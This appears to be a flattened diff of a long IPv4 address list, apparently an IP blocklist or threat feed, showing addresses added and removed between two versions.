168.138.7.117 -168.167.72.150 168.167.72.215 -168.181.186.7 -168.194.18.110 -168.194.80.80 -168.196.204.91 -168.196.206.3 -168.196.26.102 -168.197.106.170 -168.232.150.231 -168.63.152.179 -168.75.82.175 +168.167.72.228 +168.197.106.111 +168.197.106.56 +168.197.49.181 +168.232.13.134 +168.70.119.51 +168.70.65.157 168.80.174.2 168.90.89.84 -170.106.113.27 +169.228.66.212 +170.0.235.253 170.106.115.15 170.106.115.151 170.106.115.253 170.106.115.39 170.106.115.55 170.106.119.170 +170.106.141.190 170.106.141.250 -170.106.168.224 +170.106.163.111 170.106.173.40 -170.106.174.117 170.106.174.246 +170.106.175.55 170.106.176.49 170.106.181.46 +170.106.191.227 170.106.195.162 -170.106.196.12 +170.106.198.165 170.106.73.154 170.106.83.144 -170.187.139.208 +170.106.84.72 170.187.155.47 +170.187.163.133 170.187.165.130 170.187.165.242 -170.187.227.98 -170.210.155.249 +170.187.181.104 +170.187.227.157 170.210.208.108 -170.210.225.48 +170.210.44.162 170.210.45.123 -170.210.81.125 170.238.136.6 -170.238.147.242 +170.238.160.191 170.238.160.22 +170.238.162.191 170.239.229.14 +170.244.190.198 170.244.190.239 -170.244.220.202 -170.245.133.131 -170.246.12.41 -170.250.112.149 -170.253.61.61 +170.245.200.187 170.254.229.211 170.64.130.197 -170.64.134.89 -170.64.165.214 -170.64.171.102 -170.64.171.164 +170.64.134.120 +170.64.154.131 +170.64.154.53 +170.64.158.234 +170.64.161.247 +170.64.166.144 170.64.172.178 -170.64.173.35 -170.64.176.49 -170.64.191.72 -170.78.39.78 -170.80.205.65 -170.81.241.213 -170.81.252.146 +170.64.178.141 +170.64.178.90 +170.64.187.31 +170.64.190.91 +170.78.39.41 +170.80.12.129 170.82.124.182 170.83.173.18 170.84.22.20 -171.103.243.157 -171.110.99.224 -171.126.33.129 -171.22.30.127 -171.221.199.222 +171.208.19.167 171.221.205.30 +171.235.69.115 +171.241.92.107 +171.244.0.91 171.244.140.174 171.244.202.131 171.244.28.26 171.244.38.31 -171.244.40.236 171.244.42.244 171.244.53.224 +171.244.62.113 171.244.63.222 171.248.189.174 -171.251.16.211 +171.248.191.73 171.251.28.179 -171.67.70.233 +171.35.236.64 +171.67.70.229 171.81.96.63 -172.104.102.196 -172.104.137.47 172.104.138.223 -172.104.170.249 +172.104.169.246 +172.104.169.52 +172.104.211.9 172.104.238.162 -172.105.110.112 -172.105.110.140 +172.104.24.198 +172.104.244.71 +172.104.4.17 +172.105.110.175 172.105.110.199 172.105.110.210 -172.105.191.28 -172.105.246.139 -172.105.34.210 +172.105.110.9 +172.105.217.71 +172.105.218.147 172.105.37.32 -172.105.50.124 +172.105.4.160 +172.108.187.106 +172.114.166.180 +172.116.229.14 172.174.236.29 -172.177.11.143 -172.177.11.150 +172.177.11.133 172.193.14.37 -172.245.156.24 -172.245.17.150 +172.245.139.239 +172.245.210.242 172.245.226.43 172.245.34.156 172.245.34.170 -172.245.43.103 172.245.5.163 172.245.72.167 172.245.90.197 +172.247.14.172 172.82.16.8 -172.91.183.196 +172.90.21.238 +172.91.158.20 172.96.196.185 -172.96.227.178 -173.10.56.137 173.11.209.10 +173.165.40.19 173.181.139.154 173.199.240.40 -173.20.43.211 -173.201.184.246 -173.201.186.201 173.208.245.2 +173.212.243.253 173.230.150.73 -173.230.152.132 -173.231.199.149 -173.236.168.10 +173.236.152.123 +173.236.176.15 173.236.184.135 -173.24.222.27 +173.246.245.227 +173.249.55.254 173.255.243.63 -173.255.250.88 -173.31.32.150 +173.255.252.16 173.47.25.31 -173.95.235.227 -174.106.12.61 -174.134.134.39 -174.137.56.171 -174.138.1.164 +173.82.99.5 +174.109.30.94 +174.138.19.130 174.138.21.174 -174.138.24.127 174.138.27.23 -174.138.29.148 -174.138.5.151 -174.138.54.13 -174.138.72.191 -174.85.69.35 +174.138.29.2 +174.44.89.165 +174.62.13.57 +174.63.74.156 +174.67.66.101 174.87.71.7 +174.96.50.187 +175.10.18.215 +175.100.120.111 175.100.24.139 -175.105.234.87 +175.107.196.28 +175.11.229.7 +175.118.152.100 +175.118.32.254 175.119.20.149 +175.119.79.57 175.126.146.152 -175.126.232.120 -175.126.73.97 -175.127.172.125 +175.126.176.21 175.134.135.29 +175.139.217.113 175.140.139.145 -175.151.114.31 -175.156.137.15 -175.156.154.118 -175.161.172.159 -175.175.130.19 -175.178.111.218 -175.180.129.87 +175.140.190.190 +175.156.212.4 +175.170.149.29 +175.178.150.231 175.192.130.68 -175.192.240.73 175.193.13.3 175.193.97.249 175.194.108.201 -175.194.62.151 +175.194.181.238 175.195.14.12 -175.195.219.132 175.195.79.174 -175.196.112.213 +175.196.198.162 175.196.231.248 175.196.245.105 +175.197.122.232 +175.197.234.89 175.198.153.10 -175.199.149.94 -175.201.130.190 +175.200.31.116 175.202.240.158 -175.203.180.74 175.203.23.6 175.203.61.33 175.204.10.138 175.206.109.22 175.206.2.7 175.206.238.63 -175.207.13.22 +175.207.13.86 +175.208.101.106 175.209.20.52 175.209.95.7 175.210.233.42 -175.211.139.213 -175.212.52.43 -175.212.81.131 +175.211.223.18 +175.211.229.146 +175.211.248.205 +175.212.1.32 +175.215.151.103 175.215.42.93 175.229.76.179 +175.24.229.44 175.27.231.243 -175.30.113.92 -175.30.116.2 +175.30.110.26 +175.30.110.3 +175.30.112.146 +175.30.116.253 +175.30.68.111 175.30.69.76 -175.30.75.50 +175.30.83.8 175.30.91.212 -175.31.200.244 -175.31.246.209 +175.31.230.133 175.31.246.51 +175.4.50.42 +175.4.50.43 +175.44.154.92 +175.44.31.245 +175.44.46.104 +175.47.101.1 +175.47.155.28 +175.6.176.117 175.8.115.163 -176.101.254.151 -176.102.194.136 +175.97.136.186 +175.97.174.175 176.102.38.41 -176.102.51.10 -176.106.243.176 -176.111.174.105 -176.111.174.109 -176.111.174.110 -176.111.174.112 176.111.174.137 176.111.174.152 176.111.174.153 -176.111.174.80 -176.111.174.81 -176.111.174.82 -176.111.174.84 -176.111.174.85 -176.111.174.86 -176.111.174.87 -176.111.174.88 -176.111.174.89 -176.111.174.91 -176.111.174.95 -176.111.174.97 -176.111.174.98 -176.113.115.210 -176.113.126.213 -176.12.130.20 -176.12.161.25 +176.111.174.195 +176.111.174.29 +176.113.139.17 +176.119.158.128 176.121.213.152 -176.122.164.148 -176.149.224.221 -176.211.113.138 -176.211.113.24 -176.212.136.151 +176.132.82.143 +176.166.135.18 +176.199.79.136 176.214.78.72 -176.214.94.229 -176.215.255.242 -176.236.151.150 -176.52.10.84 -176.58.115.12 -176.58.115.129 +176.36.32.175 +176.58.117.32 +176.62.189.81 176.63.98.208 176.65.146.129 +176.8.17.224 176.96.186.130 176.97.210.59 176.97.210.61 -177.10.16.7 +177.1.213.19 177.10.39.98 177.104.7.99 177.11.233.149 177.115.11.54 -177.121.247.114 +177.12.2.75 177.124.74.93 -177.125.112.51 -177.125.21.1 -177.130.167.103 -177.131.118.41 -177.155.126.28 -177.17.229.245 -177.174.116.133 -177.174.80.233 +177.137.97.70 +177.174.122.213 177.174.86.69 177.174.87.81 +177.185.137.78 177.185.139.43 -177.19.162.241 -177.19.187.79 -177.194.41.72 -177.198.65.158 177.21.208.13 177.220.131.211 -177.220.190.173 -177.221.97.6 +177.220.155.34 177.222.38.9 -177.228.20.16 -177.228.223.138 -177.236.149.129 +177.230.205.3 177.27.216.106 +177.33.96.214 177.36.14.101 -177.36.186.234 -177.36.254.198 +177.36.254.171 +177.36.254.54 177.36.255.178 -177.38.10.236 -177.38.191.5 +177.41.214.110 177.43.233.9 -177.47.224.68 -177.47.224.74 +177.47.194.102 +177.53.65.16 177.54.130.13 +177.72.74.116 177.73.54.219 -177.84.201.126 -177.87.144.26 -177.91.64.24 +177.75.6.242 +177.85.84.3 +177.87.208.114 177.92.109.58 -178.128.108.116 +178.128.100.77 178.128.111.25 178.128.112.8 -178.128.112.95 178.128.114.132 -178.128.125.217 -178.128.126.81 -178.128.127.179 178.128.149.187 178.128.151.41 178.128.153.109 178.128.153.49 178.128.155.180 -178.128.161.183 -178.128.17.220 178.128.171.48 178.128.187.183 -178.128.197.238 -178.128.215.16 +178.128.19.209 178.128.223.85 178.128.29.253 178.128.29.96 -178.128.47.46 -178.128.50.71 178.128.6.196 -178.128.60.205 -178.128.66.56 178.128.73.254 -178.128.79.100 -178.128.86.163 178.128.91.164 -178.128.93.234 +178.128.91.222 +178.128.95.222 178.128.97.141 178.128.98.121 +178.130.131.27 178.141.249.26 -178.154.209.177 +178.158.177.252 +178.161.243.41 178.163.233.41 -178.163.240.19 -178.165.71.19 +178.163.240.33 178.170.38.99 -178.173.142.188 -178.175.129.38 178.18.242.89 -178.18.34.36 -178.19.252.219 -178.213.171.124 -178.217.173.54 +178.214.184.2 +178.218.144.18 178.218.200.199 +178.219.122.102 178.22.120.71 -178.22.168.219 -178.248.85.24 -178.25.122.163 -178.254.62.160 -178.32.187.122 +178.250.37.142 178.32.197.83 -178.32.84.151 178.39.225.198 178.46.163.191 -178.47.140.149 -178.47.41.254 -178.54.78.190 -178.62.119.233 -178.62.14.63 -178.62.187.136 -178.62.210.28 -178.62.214.85 +178.47.143.219 +178.54.137.92 +178.57.67.183 +178.62.195.166 +178.62.2.24 +178.62.216.118 +178.62.22.30 178.62.237.10 -178.62.237.183 -178.62.239.223 178.62.24.222 178.62.3.65 +178.62.42.166 178.62.50.191 -178.62.64.242 +178.62.63.15 178.62.69.141 178.62.73.12 178.62.74.69 178.62.78.139 -178.62.81.147 178.62.97.236 +178.74.61.156 178.79.138.117 -178.79.139.171 178.79.178.37 -178.88.79.224 -178.89.165.111 +178.79.185.160 +178.89.180.121 +178.89.51.146 179.111.176.81 179.125.226.143 -179.127.93.185 -179.131.10.103 +179.176.210.40 +179.178.53.165 +179.183.209.217 179.185.90.114 179.192.137.130 -179.217.150.249 +179.208.123.104 +179.209.216.210 +179.217.151.162 179.27.60.34 +179.32.213.156 179.33.186.151 -179.34.75.45 179.36.206.40 -179.40.18.220 -179.41.2.183 -179.43.122.214 +179.40.112.6 179.43.154.230 +179.43.155.182 +179.43.159.196 +179.43.159.198 179.43.163.134 -179.43.189.250 -179.49.83.99 -179.50.16.249 -179.55.79.97 -179.60.150.118 +179.43.191.162 +179.49.83.90 +179.60.244.9 +179.61.245.13 179.61.246.138 179.61.251.218 -179.63.55.224 179.63.55.225 179.63.55.226 -179.83.205.125 -179.84.173.90 -179.95.22.6 -179.99.212.180 -18.130.131.137 +179.97.24.242 +18.117.216.74 18.130.147.152 +18.130.31.225 18.130.4.149 -18.130.60.164 18.132.1.194 -18.132.10.8 -18.132.41.70 18.132.43.6 -18.133.180.209 -18.133.226.254 18.133.243.249 -18.134.248.132 -18.135.104.89 18.135.17.101 -18.135.96.175 -18.169.166.90 -18.169.170.0 +18.169.166.30 18.170.212.89 -18.170.217.220 -18.170.39.68 -18.170.58.142 +18.170.224.238 18.170.60.187 -18.231.55.68 +18.170.74.132 +18.231.148.157 +180.100.74.196 +180.101.184.124 180.101.88.218 180.101.88.219 180.101.88.221 180.101.88.222 +180.101.88.223 180.101.88.224 -180.101.88.227 +180.101.88.225 180.101.88.233 180.101.88.234 180.101.88.235 -180.101.88.237 180.101.88.238 +180.101.88.239 +180.101.88.246 180.101.88.247 +180.101.88.248 +180.101.88.249 180.101.88.250 180.101.88.251 +180.101.88.252 180.101.88.254 180.103.55.70 -180.106.40.131 -180.107.212.203 -180.107.217.175 -180.108.24.86 -180.115.120.104 -180.115.120.42 -180.115.166.132 -180.115.175.17 -180.115.72.149 -180.115.85.44 -180.116.110.220 -180.116.155.34 -180.116.186.9 -180.116.248.218 +180.103.60.220 +180.106.183.179 +180.106.89.102 +180.107.98.174 +180.108.200.246 +180.113.98.109 +180.115.126.146 +180.115.126.18 +180.115.168.174 +180.115.173.153 +180.115.235.172 +180.115.81.73 +180.116.110.173 +180.116.156.201 +180.116.160.73 +180.116.186.22 +180.116.45.184 +180.116.45.232 180.117.192.213 -180.119.135.112 -180.119.135.72 -180.119.209.60 -180.119.9.180 -180.129.62.109 -180.148.4.194 -180.151.192.181 -180.164.52.96 +180.119.134.24 +180.119.188.2 +180.119.210.193 +180.129.23.59 +180.138.195.108 +180.149.224.217 180.167.153.230 180.167.207.234 -180.167.216.198 +180.168.60.146 180.168.95.234 -180.184.48.152 +180.169.215.10 +180.169.235.58 +180.178.130.107 +180.183.248.153 180.190.240.155 -180.193.221.203 -180.232.77.130 -180.69.254.177 -180.69.96.56 +180.50.5.104 180.71.47.198 -180.76.141.243 -180.97.90.143 +180.76.115.173 181.10.163.193 -181.10.163.208 -181.105.224.123 +181.10.163.247 181.111.203.253 +181.113.114.115 181.113.21.163 181.114.109.54 181.114.18.84 -181.115.145.34 -181.115.156.59 181.115.206.242 181.115.238.37 -181.115.239.230 -181.115.7.199 181.12.143.162 +181.12.157.170 181.127.185.41 -181.129.61.18 181.13.218.29 +181.139.179.194 +181.143.195.18 181.165.181.54 +181.171.38.85 +181.174.134.186 +181.174.91.162 181.176.145.43 181.199.122.86 181.199.159.161 -181.206.140.19 -181.214.94.169 -181.224.253.233 -181.225.144.202 -181.225.144.51 -181.225.145.221 -181.225.145.239 -181.225.145.38 -181.225.147.214 -181.225.147.223 -181.225.148.106 +181.206.140.36 +181.209.72.150 +181.214.223.190 +181.225.145.10 +181.225.146.207 +181.225.148.132 181.225.148.20 -181.225.149.26 -181.225.149.5 -181.225.149.60 -181.225.149.92 -181.228.80.212 -181.229.50.69 181.230.152.123 -181.233.90.141 -181.235.108.177 -181.28.101.14 -181.41.206.226 -181.47.30.23 -181.48.229.250 +181.44.201.219 +181.47.247.179 181.48.60.50 +181.48.97.163 181.48.99.155 181.49.10.146 181.49.176.37 -181.49.50.202 +181.49.178.6 181.53.252.98 -181.78.21.236 -181.88.87.210 +181.57.77.77 +181.65.149.69 +181.94.215.202 +181.94.223.247 +182.105.160.225 +182.126.243.186 +182.148.53.141 +182.150.91.106 +182.150.91.107 +182.150.91.65 182.150.91.73 -182.151.27.58 +182.151.48.132 182.156.238.54 182.16.184.67 182.16.245.79 +182.16.245.85 182.16.255.176 -182.162.104.166 -182.176.108.188 -182.176.14.70 -182.176.86.100 -182.19.44.29 -182.208.98.210 +182.160.27.208 +182.162.136.216 +182.163.101.174 +182.176.82.188 182.229.10.141 -182.23.111.75 -182.23.23.42 -182.237.176.213 -182.252.133.59 +182.23.67.49 +182.237.176.194 +182.240.20.130 +182.243.178.56 182.253.108.50 -182.253.156.184 -182.253.238.218 -182.253.28.123 +182.253.28.122 182.253.82.154 -182.31.212.238 +182.43.171.32 +182.43.187.177 182.43.254.122 -182.43.74.6 +182.48.73.227 182.48.73.229 -182.50.151.65 182.52.17.102 182.52.17.20 -182.57.16.58 -182.60.240.9 -182.66.123.142 -182.69.118.20 -182.70.118.117 -182.70.127.242 -182.70.240.130 -182.70.252.182 +182.59.139.27 +182.70.125.62 +182.70.241.35 +182.70.255.196 182.71.24.114 182.72.235.172 +182.73.147.154 182.73.164.228 +182.73.229.227 182.73.29.37 -182.74.236.130 -182.75.17.109 -182.76.134.58 -182.77.48.228 -182.77.48.90 -182.77.51.117 -182.77.62.25 +182.75.197.174 +182.76.36.62 182.78.142.4 -182.79.218.164 +182.79.218.101 182.79.68.42 182.87.182.6 -182.93.7.194 +183.100.154.48 183.101.53.2 183.102.59.1 -183.103.237.242 -183.104.237.208 +183.103.213.188 183.105.0.140 +183.105.146.154 183.105.214.111 183.105.216.116 -183.105.236.95 -183.106.205.242 +183.106.222.189 183.107.152.216 -183.107.76.127 -183.107.76.46 +183.107.54.234 183.108.69.90 +183.109.148.44 +183.109.213.146 183.109.228.7 +183.11.232.110 183.111.188.94 183.111.204.170 183.111.64.168 +183.134.89.247 183.136.225.29 183.136.225.31 183.136.225.32 183.136.225.42 +183.136.225.44 183.136.225.45 +183.136.225.46 183.136.225.48 183.136.225.5 183.136.225.9 183.146.30.163 -183.162.247.73 183.180.128.204 -183.194.1.194 -183.194.44.18 -183.196.218.183 183.196.96.39 +183.203.96.172 +183.221.243.20 183.221.3.147 -183.230.229.65 +183.222.71.75 183.230.230.215 -183.233.85.194 -183.236.26.9 -183.236.71.220 +183.232.239.162 +183.236.29.149 +183.237.101.146 183.237.154.43 -183.237.164.204 -183.237.164.206 -183.240.157.2 -183.245.41.87 -183.252.207.61 -183.30.201.58 +183.237.210.162 +183.238.0.146 +183.238.0.242 +183.238.98.22 +183.250.46.112 +183.251.230.175 183.48.125.139 -183.56.207.190 -183.56.233.69 -183.56.238.70 -183.6.112.205 -183.6.118.248 -183.63.196.58 -183.63.207.66 +183.56.246.167 +183.6.99.197 +183.62.20.2 +183.63.220.210 183.63.233.242 -183.66.24.10 -183.71.249.218 -183.82.121.140 -183.82.13.4 +183.67.43.194 +183.82.96.133 +183.83.188.4 183.83.51.220 183.87.12.212 -183.88.225.66 183.90.168.67 +183.91.15.246 183.91.186.93 -183.93.198.164 183.96.25.123 -183.97.192.131 -183.97.247.86 183.99.109.95 183.99.164.126 -184.104.219.126 -184.105.139.110 -184.105.247.200 -184.105.247.204 -184.105.247.208 -184.105.247.248 +184.105.139.100 +184.105.139.102 +184.105.139.106 +184.105.139.75 +184.105.139.93 +184.105.247.235 184.152.38.119 -184.168.115.25 -184.168.116.160 184.168.121.118 184.168.121.135 184.168.122.184 -184.168.123.171 184.168.123.187 -184.168.96.183 -184.168.98.94 -184.171.250.244 -184.2.203.46 -184.54.190.133 -184.58.4.42 -184.69.205.196 +184.168.126.65 +184.18.211.199 +184.54.70.14 +184.60.2.198 184.74.212.29 -185.100.85.22 +184.75.221.203 +184.75.221.59 +184.80.221.250 +185.10.68.73 185.100.85.24 185.100.85.25 -185.100.87.136 -185.104.239.78 185.106.93.141 185.11.244.21 -185.11.61.117 -185.11.61.68 -185.11.61.69 +185.111.159.121 185.112.150.150 +185.115.96.170 185.116.194.182 -185.123.204.86 -185.126.128.171 -185.129.50.152 +185.117.0.174 +185.117.3.182 +185.122.201.229 +185.126.200.151 +185.129.62.62 185.13.224.52 -185.133.121.25 -185.134.22.81 185.142.236.34 185.142.236.35 185.142.236.36 185.142.236.38 -185.142.236.40 +185.142.236.41 +185.142.236.43 185.142.239.16 -185.146.2.237 -185.147.65.48 -185.148.14.124 +185.142.239.49 +185.146.232.243 +185.147.65.50 +185.149.197.168 185.149.22.126 -185.15.244.176 +185.151.147.126 +185.151.32.7 185.154.195.196 +185.156.174.155 185.156.73.89 185.156.73.90 185.156.73.92 185.156.73.93 185.156.73.94 185.158.113.63 -185.159.129.208 +185.159.129.181 +185.160.229.50 185.161.248.149 185.161.248.87 185.162.235.228 +185.163.109.66 185.164.73.80 -185.165.175.73 185.165.190.17 185.165.190.34 185.167.96.138 @@ -4035,711 +3964,656 @@ 185.167.96.150 185.167.97.229 185.167.97.244 -185.17.0.74 -185.17.229.65 +185.17.113.238 +185.17.136.37 +185.170.144.3 185.173.130.226 185.18.214.5 -185.18.215.87 185.180.140.101 185.180.140.102 185.180.140.103 185.180.140.104 185.180.140.105 185.180.140.106 +185.180.140.107 185.180.140.108 -185.180.140.110 +185.180.140.109 185.180.140.111 185.180.140.112 185.180.140.4 185.180.140.5 185.180.140.6 -185.180.143.101 185.180.143.102 185.180.143.105 -185.180.143.108 -185.180.143.13 +185.180.143.109 185.180.143.137 -185.180.143.140 -185.180.143.143 -185.180.143.146 -185.180.143.151 -185.180.143.152 -185.180.143.153 -185.180.143.154 -185.180.143.155 -185.180.143.156 -185.180.143.157 -185.180.143.158 -185.180.143.159 -185.180.143.160 -185.180.143.165 185.180.143.166 -185.180.143.171 +185.180.143.173 +185.180.143.175 185.180.143.177 -185.180.143.178 -185.180.143.179 -185.180.143.189 -185.180.143.19 -185.180.143.20 -185.180.143.24 -185.180.143.25 -185.180.143.27 -185.180.143.29 -185.180.143.30 -185.180.143.31 +185.180.143.18 185.180.143.33 -185.180.143.35 -185.180.143.37 -185.180.143.41 -185.180.143.44 -185.180.143.47 +185.180.143.40 +185.180.143.45 +185.180.143.46 185.180.143.48 -185.180.143.49 -185.180.143.50 185.180.143.7 185.180.143.72 185.180.143.73 -185.180.143.74 -185.180.143.75 -185.180.143.76 -185.180.143.82 -185.180.143.83 -185.180.143.88 -185.180.143.89 -185.180.143.92 -185.180.143.93 -185.180.143.94 -185.180.143.96 -185.180.143.98 +185.180.143.77 +185.180.143.81 185.181.102.18 -185.183.196.22 -185.191.171.5 +185.183.157.214 +185.187.170.220 +185.191.171.17 +185.191.171.7 +185.191.171.9 185.195.201.148 -185.196.220.77 +185.196.127.87 185.198.58.21 -185.200.118.36 +185.200.118.73 185.200.217.5 -185.200.240.65 -185.202.113.155 +185.200.241.115 185.202.113.162 185.203.116.33 +185.206.225.51 +185.206.231.29 185.209.228.186 -185.210.144.13 185.210.227.13 185.213.155.176 185.213.155.191 185.213.167.81 185.213.195.72 -185.213.27.8 185.216.119.133 +185.216.119.91 185.217.0.181 -185.217.137.118 +185.217.1.246 +185.217.131.87 185.218.20.189 -185.220.101.134 -185.220.101.161 +185.220.101.170 +185.220.101.173 185.220.101.24 -185.220.101.25 -185.220.101.36 -185.220.101.39 -185.220.101.44 185.220.101.48 -185.220.101.62 -185.220.103.114 +185.220.103.9 185.224.128.141 185.224.128.150 185.224.128.152 +185.224.128.153 185.224.128.17 185.224.128.184 185.225.73.181 -185.225.74.173 -185.225.74.30 -185.225.74.92 -185.225.75.126 +185.225.73.214 +185.225.75.121 185.225.75.183 185.225.75.200 -185.225.75.218 -185.225.75.53 -185.227.135.196 +185.225.75.5 185.227.154.97 -185.228.135.108 -185.228.135.38 -185.231.246.136 +185.228.135.231 +185.233.100.23 185.233.119.142 -185.233.19.120 -185.233.19.141 -185.233.19.145 185.233.19.184 -185.233.19.185 -185.233.19.186 -185.233.19.207 -185.233.19.227 185.233.19.240 185.233.19.241 185.233.19.242 185.233.19.243 -185.233.19.245 -185.233.19.246 +185.233.19.244 185.233.19.247 -185.233.19.248 185.233.19.249 -185.233.19.25 -185.233.19.75 -185.236.228.66 185.237.253.237 185.238.199.145 185.239.105.242 +185.239.69.239 185.241.208.115 185.241.208.202 185.241.208.204 185.241.208.206 +185.241.208.232 +185.241.208.236 +185.241.208.243 185.242.163.169 185.242.163.247 -185.243.218.53 +185.242.234.31 +185.242.5.46 +185.243.218.89 185.244.151.47 -185.245.86.226 +185.244.192.184 185.245.94.183 +185.246.130.20 +185.246.130.69 185.246.188.67 185.246.188.73 185.246.188.74 -185.251.90.40 +185.246.85.97 185.254.197.15 185.254.96.47 +185.255.212.146 185.255.90.56 -185.255.91.173 -185.28.39.92 -185.29.121.161 +185.33.111.158 +185.36.81.21 185.38.176.121 -185.43.255.73 185.44.76.120 +185.46.18.146 185.46.18.99 185.47.172.136 185.5.249.180 -185.50.148.85 -185.51.37.116 -185.53.141.136 -185.56.83.83 +185.52.156.102 +185.54.178.117 +185.59.42.201 +185.6.9.176 185.65.134.132 185.68.145.163 -185.68.21.15 -185.70.95.8 +185.68.146.244 +185.7.33.146 185.72.67.171 +185.73.113.116 185.74.221.195 185.74.4.17 -185.74.4.189 185.74.4.20 185.74.5.173 +185.74.5.184 +185.74.5.186 185.74.5.214 -185.75.42.42 +185.78.8.19 185.80.43.181 +185.81.154.104 185.81.154.107 -185.81.154.108 185.81.154.115 -185.81.154.71 185.81.155.247 185.81.155.254 -185.81.183.141 -185.81.68.102 -185.81.95.179 +185.82.25.251 +185.86.13.130 185.91.176.157 -185.92.194.80 185.94.111.1 +185.98.5.146 186.10.125.209 186.10.245.152 -186.103.164.244 +186.10.86.130 +186.101.197.93 186.103.169.12 186.121.203.115 186.121.205.66 -186.121.235.26 -186.121.253.141 -186.122.131.71 -186.125.27.81 -186.13.28.131 -186.13.39.154 -186.13.59.207 -186.138.177.22 +186.127.13.120 186.145.254.158 -186.147.129.110 +186.147.163.142 +186.15.191.94 186.154.4.20 186.155.214.208 +186.156.240.89 186.16.42.74 -186.179.100.0 -186.179.100.100 -186.195.238.144 -186.200.111.62 -186.200.158.42 -186.200.249.162 -186.201.17.22 -186.206.144.246 +186.179.100.199 +186.179.243.12 +186.200.28.174 +186.200.85.114 +186.206.171.126 186.208.12.92 -186.209.41.34 186.209.49.5 -186.23.209.47 -186.233.118.243 186.233.119.124 -186.233.204.10 -186.233.204.9 -186.233.210.86 -186.233.224.64 -186.237.7.116 -186.250.218.121 -186.251.224.98 -186.33.250.40 +186.233.119.199 +186.239.192.34 +186.249.236.29 186.38.26.5 +186.4.13.104 186.4.146.196 -186.4.167.19 186.4.222.45 -186.5.204.250 -186.56.11.2 +186.47.82.74 186.6.157.35 +186.6.210.187 186.67.248.5 -186.67.248.6 186.67.248.8 186.67.77.26 +186.84.172.5 186.84.174.241 -186.96.145.241 +186.87.166.141 +186.96.119.196 186.96.156.95 186.96.97.20 187.102.174.154 -187.103.67.186 +187.103.56.172 187.109.110.232 -187.110.254.149 -187.12.206.78 +187.11.132.70 +187.115.160.235 +187.13.169.246 187.141.135.181 -187.149.132.198 -187.155.176.148 187.157.135.152 -187.160.2.28 -187.161.173.12 +187.157.153.167 +187.161.222.111 +187.161.61.28 187.17.236.166 187.188.193.211 187.189.51.121 187.189.92.59 +187.19.206.35 187.190.10.119 +187.190.252.164 187.190.252.169 187.190.40.99 +187.191.99.99 +187.202.15.42 187.214.253.161 -187.216.254.180 187.217.75.226 -187.220.36.79 -187.243.248.114 -187.251.123.66 -187.251.242.240 -187.32.48.59 -187.33.161.18 +187.251.155.180 +187.32.182.94 +187.33.58.87 +187.37.15.89 187.44.214.58 187.50.178.142 187.50.67.114 -187.51.208.158 -187.56.49.38 +187.50.97.18 +187.51.11.218 +187.55.24.33 187.59.44.27 -187.72.57.85 -187.73.150.173 -187.75.159.201 -187.76.245.6 +187.62.177.20 187.8.105.142 187.8.107.198 +187.84.112.136 187.85.191.179 -187.92.192.154 -188.112.63.67 -188.121.103.130 +187.92.252.22 +187.93.68.178 +187.95.146.42 +187.95.173.235 +188.12.104.71 +188.121.100.233 188.121.118.215 188.121.118.73 -188.121.96.70 -188.122.132.235 +188.122.133.129 188.126.60.175 188.128.75.50 -188.132.179.34 +188.128.82.178 +188.134.65.137 +188.149.192.62 188.150.224.139 -188.150.225.241 -188.150.244.231 +188.150.249.41 188.154.22.87 +188.165.206.18 188.165.240.82 188.165.253.193 188.165.254.184 -188.165.35.33 +188.165.35.196 +188.165.37.1 +188.166.14.121 +188.166.146.208 188.166.153.111 188.166.155.210 188.166.156.145 188.166.181.60 -188.166.184.30 -188.166.208.174 +188.166.208.69 188.166.209.108 -188.166.210.223 -188.166.211.7 +188.166.214.4 +188.166.217.179 +188.166.225.37 188.166.229.88 -188.166.230.84 -188.166.240.152 -188.166.250.24 +188.166.235.175 +188.166.240.186 188.166.251.87 -188.166.45.97 +188.166.252.132 +188.166.26.88 +188.166.47.99 188.166.5.84 188.166.58.179 -188.166.68.252 -188.166.71.161 -188.166.95.44 188.171.3.117 188.171.35.7 -188.173.136.132 188.18.49.50 188.191.97.52 -188.213.197.8 +188.202.206.1 188.213.199.142 +188.217.170.136 188.225.75.176 188.234.247.110 -188.235.146.26 +188.237.50.113 188.250.172.49 -188.26.205.24 +188.251.80.194 +188.254.0.160 +188.254.0.218 +188.255.37.95 188.3.38.89 188.54.239.241 -188.68.41.191 -188.68.52.231 +188.68.213.247 +188.80.31.164 +188.81.219.245 188.94.158.115 189.112.0.11 +189.112.196.1 189.113.8.254 -189.122.233.177 +189.126.106.206 +189.126.111.138 189.127.173.52 -189.168.168.94 -189.172.86.94 189.175.118.173 +189.178.132.241 189.178.32.31 189.182.242.184 189.190.218.32 +189.195.118.21 189.195.123.18 189.195.123.54 -189.195.127.20 189.195.223.98 -189.195.66.181 -189.20.144.110 189.20.178.166 +189.203.240.2 189.206.165.62 189.210.119.4 189.215.84.218 -189.218.48.119 +189.218.242.125 +189.219.224.106 189.219.244.6 -189.219.36.139 189.222.203.69 -189.225.72.130 189.240.225.205 189.254.255.3 189.35.235.150 -189.36.196.10 -189.41.209.167 -189.41.7.18 -189.44.25.90 -189.44.62.218 -189.44.9.51 +189.5.50.177 189.50.111.144 189.50.97.135 +189.51.96.148 189.57.151.124 +189.6.45.130 189.62.151.177 189.70.175.93 -189.90.47.23 -190.0.246.7 +189.70.88.237 +189.80.46.250 190.0.63.226 +190.1.1.197 190.1.203.180 190.10.8.12 190.101.253.69 +190.102.251.2 190.103.165.144 190.103.202.12 190.103.202.7 -190.103.240.30 -190.103.240.31 190.103.240.4 -190.104.146.136 -190.104.25.210 -190.104.25.214 +190.104.220.42 +190.104.25.221 190.104.31.10 -190.107.177.243 -190.107.30.115 -190.107.30.117 +190.105.190.62 +190.107.30.119 +190.109.227.208 +190.109.227.25 +190.109.227.37 +190.109.227.51 190.109.228.188 -190.109.228.194 -190.109.229.234 -190.117.113.32 -190.117.96.174 +190.109.228.195 190.119.151.164 -190.12.57.130 +190.119.86.211 +190.12.102.58 190.12.75.226 190.12.84.13 190.120.254.76 +190.121.9.124 190.123.193.151 -190.128.169.130 -190.138.132.27 -190.144.14.170 -190.145.102.78 -190.145.192.106 +190.123.237.28 +190.123.90.180 +190.129.122.83 +190.129.50.194 +190.144.139.235 +190.145.165.170 190.145.195.70 -190.145.25.163 -190.145.81.37 190.147.213.31 190.147.33.242 -190.147.38.235 -190.147.78.96 -190.153.249.99 -190.156.238.162 +190.156.231.245 190.158.230.8 190.167.106.76 190.167.98.151 190.171.189.85 -190.181.15.3 190.181.25.210 +190.181.27.8 190.181.4.12 -190.185.159.132 -190.185.160.91 -190.185.162.26 +190.182.230.84 +190.184.201.138 +190.188.96.123 +190.191.17.81 190.191.86.229 190.196.230.88 